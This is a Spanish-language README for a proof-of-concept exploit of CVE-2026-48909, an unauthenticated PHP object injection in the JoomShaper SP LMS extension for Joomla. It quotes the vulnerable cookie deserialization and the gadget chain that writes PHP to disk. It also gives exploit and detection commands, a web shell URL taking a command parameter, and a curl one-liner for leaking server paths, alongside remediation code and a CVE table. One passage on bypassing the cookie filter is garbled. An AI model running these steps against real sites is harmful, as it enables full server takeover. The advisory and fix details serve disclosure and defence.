
Exploit de prueba de concepto para CVE-2026-48909: ejecución remota de código no autenticada mediante inyección de objetos PHP en JoomShaper SP LMS. Incluye guía de detección, explotación y remediación.
Ejecución Remota de Código sin Autenticación mediante Inyección de Objetos PHP en JoomShaper SP LMS (com_splms) ≤ 4.1.3 para Joomla CMS.
Autor: Amin İsayev / Proxima Cyber Security
SP LMS es una extensión popular de Sistema de Gestión de Aprendizaje para Joomla desarrollada por JoomShaper con más de 100.000 instalaciones. Las versiones ≤ 4.1.3 pasan la cookie lmsOrders directamente a unserialize() sin ninguna validación, lo que permite a un atacante no autenticado inyectar un objeto PHP malicioso y lograr Ejecución Remota de Código a través de la cadena de gadgets nativa de Joomla.
components/com_splms/models/cart.php línea 28:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← entrada de usuario no confiable
La cookie lmsOrders se decodifica en base64 y se pasa directamente a unserialize(). Un atacante controla completamente el objeto deserializado.
La clase FormattedtextLogger de Joomla proporciona el gadget:
lmsOrders cookie (attacker-controlled)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla gadget]
└─► initFile() → File::write($path, $format)
└─► PHP code written to disk → RCE
Nota: La RCE requiere Joomla < 5.2.2.
Joomla 5.2.2 corrigióFormattedtextLogger.__wakeup()(ver PR #44428).
La Inyección de Objetos PHP aún existe en com_splms ≤ 4.1.3 en todas las versiones de Joomla.
El método Input\Cookie::get() de Joomla aplica un filtro cmd por defecto, eliminando +, / y = del valor de la cookie — caracteres presentes en base64 estándar. El exploit utiliza:
$, _, {, }, \n)=)/ y + de la salida base64python3 CVE-2026-48909.py https://target.com
[*] Target : https://target.com
[*] Path : /index.php?option=com_splms&view=cart
[*] Probe : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell activa en
https://target.com/tmp/x.php?c=id
Encontrando la ruta del servidor (si se desconoce):
# Alojamiento cPanel — la ruta se filtra desde las páginas de error de Joomla
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Rutas comunes a probar:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders antes de deserializar:// NO use unserialize() en datos controlados por el usuario
// Use json_encode/json_decode en su lugar
$cartItems = json_decode(base64_decode($raw), true) ?? [];
Esta herramienta se publica con fines educativos y solo para pruebas de seguridad autorizadas.
El autor no se responsabiliza por el mal uso o daños causados por este programa.
No la use contra sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.
Amin İsayev / Proxima Cyber Security — 2026
| Campo | Detalles |
|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| Afectado | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| Corregido en | SP LMS ≥ 4.1.4 |
| Requisito Joomla | < 5.2.2 (cadena de gadgets corregida en 5.2.2) |
| CVSS 4.0 | 9.5 Crítico — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: Deserialización de Datos No Confiables |
| Autenticación requerida | Ninguna |
| Divulgado | 2026-05-26 |
| Publicado | 2026-06-20 |